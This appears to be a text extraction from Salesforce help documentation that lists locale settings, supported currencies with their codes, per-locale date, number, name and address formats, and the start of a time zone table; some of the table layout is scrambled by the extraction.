Understanding Language, Locale, and Currency

Setting
Locale

Who can edit the setting User

How to edit the setting Go to Your Name > Setup > My Personal Information > Personal Information > Edit and select a locale from the supported locale drop-down list.

Description and effects of the setting Country or geographic region in which user is located.

The Locale setting affects the format of date, date/time, and number fields, and the calendar. For example, dates in the English Note: Locale names (United States) locale display as with a country in 06/30/2000 and as 30/06/2000 in parentheses also set the English (United Kingdom) a default currency locale. Times in the English (United States) locale display using a twelve-hour clock with AM and PM (for example, 2:00 PM), whereas in the English (United Kingdom) locale, they display using a twenty-four-hour clock (for example, 14:00). The Locale setting also affects the first and last name order on Name fields for users, leads, and contacts. For example, Bob Johnson in the English (United States) locale displays as Bob Johnson, whereas the Chinese (China) locale displays the name as Johnson Bob. For Personal Edition users, the locale is set at the organization level via Your Name > Setup > Company Profile > Company Information. For all other users, their personal locale, available at Your Name > Setup > My Personal Information > Personal Information, overrides the organization setting.

Time Zone

User

Go to Your Name > Setup > My Personal Information > Personal Information > Edit and select a time zone from the supported time zone drop-down list.

Primary time zone in which user works. Users in Arizona should select the setting with America/Phoenix, and users in parts of Indiana that do not follow Daylight Savings

374

Company Information

Supported Currencies

Setting

Who can edit the setting

How to edit the setting

Description and effects of the setting Time should select the setting with America/Indianapolis.

See Also:
About Company Information

Supported Currencies
Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed To view company information: To change company information: View Setup and Configuration Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

Salesforce supported currencies: Currency Name Afghanistan Afghani Albanian Lek Algerian Dinar Angola Kwanza Argentine Peso Armenian Dram Aruba Florin Australian Dollar Azerbaijanian Manat Bahamian Dollar Bahraini Dinar Bangladesh Taka Barbados Dollar Currency Code AFN ALL DZD AOA ARS AMD AWG AUD AZN BSD BHD BDT BBD

375

Company Information

Supported Currencies

Currency Name Belarussian Ruble Belize Dollar Bermuda Dollar Bhutan Ngultrum Bolivia Mvdol Bolivian Boliviano Botswana Pula Brazilian Real British Pound Brunei Dollar Bulgaria Lev Burundi Franc Cambodia Riel Canadian Dollar Cape Verde Escudo Cayman Islands Dollar CFA Franc (BCEAO) CFA Franc (BEAC) Chilean Peso Chinese Renminbi Chinese Yuan Colombian Peso Comoros Franc Convertible Marks Costa Rica Colon Croatian Kuna Cuban Peso Czech Koruna Danish Krone Dijibouti Franc Dominican Peso

Currency Code BYR BZD BMD BTN BOV BOB BWP BRL GBP BND BGN BIF KHR CAD CVE KYD XOF XAF CLP CN CNY COP KMF BAM CRC HRK CUP CZK DKK DJF DOP

376

Company Information

Supported Currencies

Currency Name East Caribbean Dollar Egyptian Pound Eritrea Nakfa Estonian Kroon Ethiopian Birr Euro Falkland Islands Pound Fiji Dollar Franc Congolais Gambian Dalasi Georgia Lari Ghanian Cedi Gibraltar Pound Guatemala Quetzal Guinea Franc Guyana Dollar Haiti Gourde Honduras Lempira Hong Kong Dollar Hungarian Forint Iceland Krona Indian Rupee Indonesian Rupiah Iranian Rial Iraqi Dinar Israeli Shekel Jamaican Dollar Japanese Yen Jordanian Dinar Kazakhstan Tenge Kenyan Shilling

Currency Code XCD EGP ERN EEK ETB EUR FKP FJD CDF GMD GEL GHS GIP GTQ GNF GYD HTG HNL HKD HUF ISK INR IDR IRR IQD ILS JMD JPY JOD KZT KES

377

Company Information

Supported Currencies

Currency Name Korean Won Kuwaiti Dinar Kyrgyzstan Som Lao Kip Latvian Lat Lebanese Pound Lesotho Loti Liberian Dollar Libyan Dinar Lithuanian Lita Macau Pataca Macedonian Denar Malagasy Ariary Malawi Kwacha Malaysian Ringgit Maldives Rufiyaa Mauritania Ougulya Mauritius Rupee Mexican Peso Mexican Unidad de Inversion (UDI) Moldovan Leu Mongolian Tugrik Moroccan Dirham Mozambique Metical Myanmar Kyat Namibian Dollar Nepalese Rupee Neth Antilles Guilder New Zealand Dollar Nicaragua Cordoba Nigerian Naira

Currency Code KRW KWD KGS LAK LVL LBP LSL LRD LYD LTL MOP MKD MGA MWK MYR MVR MRO MUR MXN MXV MDL MNT MAD MZN MMK NAD NPR ANG NZD NIO NGN

378

Company Information

Supported Currencies

Currency Name North Korean Won Norwegian Krone Omani Rial Pacific Franc Pakistani Rupee Panama Balboa Papua New Guinea Kina Paraguayan Guarani Peruvian Nuevo Sol Philippine Peso Polish Zloty Qatar Rial Romanian Leu Russian Rouble Rwanda Franc Samoa Tala Sao Tome Dobra Saudi Arabian Riyal Serbian Dinar Seychelles Rupee Sierra Leone Leone Singapore Dollar Solomon Islands Dollar Somali Shilling South African Rand Sri Lanka Rupee St Helena Pound Sudanese Pound Surinam Dollar Swaziland Lilageni Swedish Krona

Currency Code KPW NOK OMR XPF PKR PAB PGK PYG PEN PHP PLN QAR RON RUB RWF WST STD SAR RSD SCR SLL SGD SBD SOS ZAR LKR SHP SDG SRD SZL SEK

379

Company Information

Supported Currencies

Currency Name Swiss Franc Syrian Pound Taiwan Dollar Tajik Ruble Tanzanian Shilling Thai Baht Tonga Pa'anga Trinidad&Tobago Dollar Tunisian Dinar Turkish Lira Turkmenistan Manat U.S. Dollar UAE Dirham Ugandan Shilling Ukraine Hryvnia Unidades de fomento Uruguayan New Peso Uzbekistan Sum Vanuatu Vatu Venezuelan Bolivar Fuerte Vietnam Dong Yemen Riyal Yugoslav Dinar Zambian Kwacha Zimbabwe Dollar

Currency Code CHF SYP TWD TJS TZS THB TOP TTD TND TRY TMT USD AED UGX UAH CLF UYU UZS VUV VEF VND YER CSD ZMK ZWD

See Also:
Understanding Language, Locale, and Currency

Supported Locales
380

Company Information

Supported Locales

Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed To view company information: To change company information: View Setup and Configuration Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

The Salesforce locale settings determine the following display formats: Date and time Users names Addresses Commas and periods in numbers

Locale names with a country in parentheses also set a default currency. Name Arabic Code ar Default currency Date and time format 02/01/2008 04:30 PM Time format Number format 06:00 1,234.56 Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country Arabic ar_AE (United Arab Emirates) UAE Dirham: 02/01/2008 AED 04:30 PM 06:00 1,234.56 Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country Arabic (Bahrain) ar_BH Bahraini Dinar: BHD 02/01/2008 04:30 PM 06:00 1,234.56 Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode

381

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format

Name format Address format Country

Arabic (Egypt)

ar_EG

Egyptian Pound EGP

02/01/2008 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Arabic (Jordan)

ar_JO

Jordanian Dinar: JOD

02/01/2008 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Arabic (Kuwait)

ar_KW

Kuwaiti 02/01/2008 Dinar: KWD 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Arabic (Lebanon)

ar_LB

Lebanese Pound: LBP

02/01/2008 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Arabic (Saudi ar_SA Arabia)

Saudi Arabian 02/01/2008 Riyal: SAR 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode

382

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format

Name format Address format Country

Bulgarian

bg

2008-1-2 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Bulgarian (Bulgaria)

bg_BG

Bulgaria Lev: 2008-1-2 BGN 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Catalan

ca

02/01/2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Catalan (Spain)

ca_ES

Euro: EUR

02/01/2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Czech

cs

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode

383

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format

Name format Address format Country

Czech (Czech cs_CZ Republic)

Czech 2.1.2008 Koruna: CZK 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Danish

da

02-01-2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Danish (Denmark)

da_DK

Danish 02-01-2008 Krone: DKK 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

German

de

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City State Country

German (Austria)

de_AT

Euro: EUR

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City State Country

384

Company Information

Supported Locales

Name

Code

Default currency Swiss Franc: CHF

Date and time format 02.01.2008 16:30

Time format Number format 06:00 1'234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 ZipCode City State Country

German de_CH (Switzerland)

German (Germany)

de_DE

Euro: EUR

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City State Country

German de_LU (Luxembourg)

Euro: EUR

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City State Country

Greek

el

2/1/2008 4:30 6:00 PM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Greek (Greece)

el_GR

Greek Drachma: EUR

2/1/2008 4:30 6:00 PM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

385

Company Information

Supported Locales

Name English (Australia)

Code en_AU

Default currency

Date and time format

Time format Number format 6:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Australian 2/01/2008 Dollar: AUD 4:30 PM

English (Barbados)

en_BB

Barbados 1/2/2008 4:30 6:00 AM Dollar: BBD PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Bermuda)

en_BM

Bermuda 1/2/2008 4:30 6:00 AM Dollar: BMD PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Canada)

en_CA

Canadian 02/01/2008 Dollar: CAD 4:30 PM

6:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (United Kingdom)

en_GB

British 02/01/2008 Pound: GBP 16:30

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

386

Company Information

Supported Locales

Name English (Ghana)

Code en_GH

Default currency

Date and time format

Time format Number format 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Ghanian Cedi 1/2/2008 4:30 6:00 AM (New): GHS PM

English (Indonesia)

en_ID

Indonesian 1/2/2008 4:30 6:00 AM Rupiah: IDR PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Ireland)

en_IE

Euro: EUR

02/01/2008 16:30

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (India)

en_IN

Indian rupee: 2/1/2008 4:30 6:00 AM INR PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Malaysia)

en_MY

Malaysian Dollar (Ringgit): MYR

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

387

Company Information

Supported Locales

Name English (Nigeria)

Code en_NG

Default currency Nigerian Naira: NGN

Date and time format

Time format Number format 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

1/2/2008 4:30 6:00 AM PM

English (New en_NZ Zealand)

New Zealand 2/01/2008 Dollar: NZD 4:30 PM

6:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Philippines)

en_PH

Philippines Peso: PHP

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Singapore)

en_SG

Singapore 1/2/2008 4:30 6:00 AM Dollar: SGD PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (United States)

en_US

U.S. Dollar: USD

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

388

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format 6:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

English en_ZA (South Africa)

South African 2008/01/02 Rand: ZAR 4:30 PM

Spanish

es

2/01/2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Argentina)

es_AR

Argentine Peso: ARS

02/01/2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Bolivia)

es_BO

Bolivian Boliviano: BOB

02-01-2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Chile)

es_CL

Chilean Peso: 02-01-2008 CLP 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

389

Company Information

Supported Locales

Name Spanish (Colombia)

Code es_CO

Default currency Colombian Peso: COP

Date and time format 2/01/2008 04:30 PM

Time format Number format 06:00 AM 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Costa Rica)

es_CR

Costa Rica 02/01/2008 Colon: CRC 04:30 PM

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Dominican Republic)

es_DO

Dominican Republic Peso: DOP

01/02/2008 04:30 PM

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Ecuador)

es_EC

CFA Franc (BEAC): XAF

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Spain)

es_ES

Euro: EUR

2/01/2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

390

Company Information

Supported Locales

Name Spanish (Guatemala)

Code es_GT

Default currency Guatemala Quetzal: GTQ

Date and time format 2/01/2008 04:30 PM

Time format Number format 06:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Honduras)

es_HN

Honduras Lempira: HNL

01-02-2008 04:30 PM

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Mexico)

es_MX

Mexican 2/01/2008 Unidad de 04:30 PM Inversion (UDI): MXV

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Panama)

es_PA

Panama 01/02/2008 Balboa: PAB 04:30 PM US Dollar: USD

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Peru)

es_PE

Peruvian Nuevo Sol: PEN

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

391

Company Information

Supported Locales

Name

Code

Default currency U.S. Dollar: USD

Date and time format 01-02-2008 04:30 PM

Time format Number format 06:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Spanish es_PR (Puerto Rico)

Spanish (Paraguay)

es_PY

Paraguayan Guarani: PYG

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (El Salvador)

es_SVUS

U.S. Dollar: USD

01-02-2008 04:30 PM

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Uruguay)

es_UY

Uruguayan New Peso: UYU

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Venezuela)

es_VE

Venezuelan Bolivar Fuerte: VEF

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

392

Company Information

Supported Locales

Name Estonian (Estonia)

Code et_EE

Default currency Estonian Kroon: EEK

Date and time format 2.01.2008 16:30

Time format Number format 6:00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Finnish

fi

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Finnish (Finland)

fi_FI

Euro: EUR

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

French

fr

02/01/2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

French (Belgium)

fr_BE

Euro: EUR

2/01/2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

393

Company Information

Supported Locales

Name French (Canada)

Code fr_CA

Default currency

Date and time format

Time format Number format 06:00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Canadian 2008-01-02 Dollar: CAD 16:30

French fr_CH (Switzerland)

Swiss Franc: CHF

02.01.2008 16:30

06:00

1'234.56

Ms. FName LName

Address Line 1, Address Line 2 City Country State ZipCode

French (France)

fr_FR

Euro: EUR

02/01/2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

French fr_LU (Luxembourg)

Euro: EUR

02/01/2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

French (Monaco)

fr_MC

Moroccan Dirham: MAD

02/01/2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

394

Company Information

Supported Locales

Name Croatian (Croatia)

Code hr_HR

Default currency Croatian Kuna: HRK

Date and time format 02.01.2008. 16:30

Time format Number format 06:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Hungarian

hu

2008.01.02. 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Armenian (Armenia)

hy_AM

Armenian 1/2/2008 4:30 6:00 AM Dram: AMD PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Indonesian

in

2008/01/02 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Icelandic (Iceland)

is_IS

Iceland Krona: ISK

2.1.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

395

Company Information

Supported Locales

Name Italian

Code it

Default currency

Date and time format 02/01/2008 16.30

Time format Number format 6.00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Italian it_CH (Switzerland)

Swiss Franc: CHF

02.01.2008 16:30

06:00

1'234.56

Ms. FName LName

Address Line 1, Address Line 2 City Country State ZipCode

Italian (Italy) it_IT

Euro: EUR

02/01/2008 16.30

6.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Hebrew

iw

16:30 02/01/2008

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Hebrew (Israel)

iw_IL

Israeli Shekel: 16:30 ILS 02/01/2008

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

396

Company Information

Supported Locales

Name Japanese

Code ja

Default currency

Date and time format 2008/01/02 16:30

Time format Number format 6:00 1,234.56

Name format Address format LName FName Country ZipCode State City Address Line 1, Address Line 2

Japanese (Japan)

ja_JP

Japanese Yen: 2008/01/02 JPY 16:30

6:00

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Georgian

ka

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Georgian (Georgia)

ka_GE

Georgian Lari: GEL

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Kazakh kk_KZ (Kazakhstan)

Kazakhstan Tenge: KZT

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

397

Company Information

Supported Locales

Name Khmer (Cambodia)

Code km_KH

Default currency Cambodia Riel: KHR

Date and time format

Time format Number format 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

1/2/2008 4:30 6:00 AM PM

Korean

ko

2008. 1. 2 PM 6:00 4:30

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Korean ko_KR (South Korea)

Korean Won: 2008. 1. 2 PM 6:00 KRW 4:30

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Lithuanian (Lithuania)

lt_LT

Lithuanian Lita: LTL

2008.1.2 16.30

06.00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Latvian (Latvia)

lv_LV

Latvian Lat: LVL

2008.2.1 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

398

Company Information

Supported Locales

Name Malay (Malaysia)

Code ms_MY

Default currency

Date and time format

Time format Number format 6:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Malaysian 02/01/2008 Ringgit: MYR 4:30 PM

Dutch

nl

2-1-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Dutch (Belgium)

nl_BE

Euro: EUR

2/01/2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Dutch nl_NL (Netherlands)

Euro: EUR

2-1-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Dutch (Suriname)

nl_SR

Surinam Dollar: SRD

2-1-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

399

Company Information

Supported Locales

Name Norwegian

Code no

Default currency

Date and time format 02.01.2008 16:30

Time format Number format 06:00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Norwegian (Norway)

no_NO

Norwegian 02.01.2008 Krone: NOK 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Polish

pl

2008-01-02 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Portuguese

pt

02-01-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Portuguese (Angola)

pt_AO

Angola Kwanza: AOA

02-01-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

400

Company Information

Supported Locales

Name Portuguese (Brazil)

Code pt_BR

Default currency Brazilian Real: BRL

Date and time format 02/01/2008 16:30

Time format Number format 06:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Portuguese (Portugal)

pt_PT

Euro: EUR

02-01-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Romanian

ro

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Romanian (Romania)

ro_RO

Romanian Leu (New): RON

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Russian

ru

02.01.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

401

Company Information

Supported Locales

Name Russian (Russia)

Code ru_RU

Default currency

Date and time format

Time format Number format 6:00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Russian 02.01.2008 Rouble: RUB 16:30

Serbian (Latin)

sh

02.01.2008. 16:30

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Serbian sh_BA (Latin) (Bosnia and Herzegovina)

Convertible Mark: BAM

02.01.2008. 16:30

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Serbian sh_CS (Latin) (Serbia and Montenegro)

Serbian Dinar 02.01.2008. (Serbia): CSD 16:30 Euro (Montenegro): EUR

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Slovak

sk

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

402

Company Information

Supported Locales

Name Slovak (Slovakia)

Code sk_SK

Default currency Euro: EUR

Date and time format 2.1.2008 16:30

Time format Number format 6:00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Slovenian (Slovenia)

sl_SI

Euro: EUR

2.1.08 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Serbian

sr

2.1.2008. 16.30

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Serbian sr_BA (Bosnia and Herzegovina)

Convertible Mark: BAM

2008-01-02 16:30

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Serbian sr_CS (Serbia and Montenegro)

Serbian Dinar 2.1.2008. (Serbia): CSD 16.30 Euro (Montenegro): EUR

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

403

Company Information

Supported Locales

Name Swedish

Code sv

Default currency

Date and time format 2008-01-02 16:30

Time format Number format 06:00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Swedish (Sweden)

sv_SE

Swedish Krona: SEK

2008-01-02 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Thai

th

2/1/2008, 16:30 .

6:00 .

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Thai (Thailand)

th_TH

Thai Baht: THB

2/1/2551, 16:30 .

6:00 .

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Tagalog

tl

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

404

Company Information

Supported Locales

Name Tagalog (Philippines)

Code tl_PH

Default currency Philippines Peso: PHP

Date and time format

Time format Number format 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

1/2/2008 4:30 6:00 AM PM

Turkish

tr

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Ukrainian

uk

02.01.2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Ukrainian (Ukraine)

uk_UA

Ukraine Hryvnia: UAH

02.01.2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Urdu (Pakistan)

ur_PK

Pakistani Rupee: PKR

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

405

Company Information

Supported Locales

Name Vietnamese

Code vi

Default currency

Date and time format 16:30 02/01/2008

Time format Number format 06:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Vietnamese (Vietnam)

vi_VN

Vietnam Dong: VND

16:30 02/01/2008

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Chinese

zh

2008-1-2 PM4:30

6:00

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Chinese (China)

zh_CN

Chinese Yuan: CNY

2008-1-2 PM4:30

6:00

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Chinese zh_HK (Hong Kong)

Hong Kong 200812 Dollar: HKD PM4:30

6:00

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

406

Company Information

Supported Time Zones

Name Chinese (Taiwan)

Code zh_TW

Default currency

Date and time format

Time format Number format 1,234.56

Name format Address format LName FName Country ZipCode State City Address Line 1, Address Line 2

Taiwan 2008/1/2 PM 6:00 Dollar: TWD 4:30

See Also:
Understanding Language, Locale, and Currency

Supported Time Zones


Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed To view company information: To change company information: View Setup and Configuration Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

Salesforce supported times zones and codes (in chronological order): Time Zone Code GMT+14:00 GMT+13:00 GMT+13:00 GMT+12:45 GMT+12:00 GMT+12:00 GMT+12:00 GMT+11:30 GMT+11:00 Time Zone Name Line Is. Time (Pacific/Kiritimati) Phoenix Is. Time (Pacific/Enderbury) Tonga Time (Pacific/Tongatapu) Chatham Daylight Time (Pacific/Chatham) Petropavlovsk-Kamchatski Time (Asia/Kamchatka) New Zealand Daylight Time (Pacific/Auckland) Fiji Time (Pacific/Fiji) Norfolk Time (Pacific/Norfolk) Solomon Is. Time (Pacific/Guadalcanal)

407

Company Information

Supported Time Zones

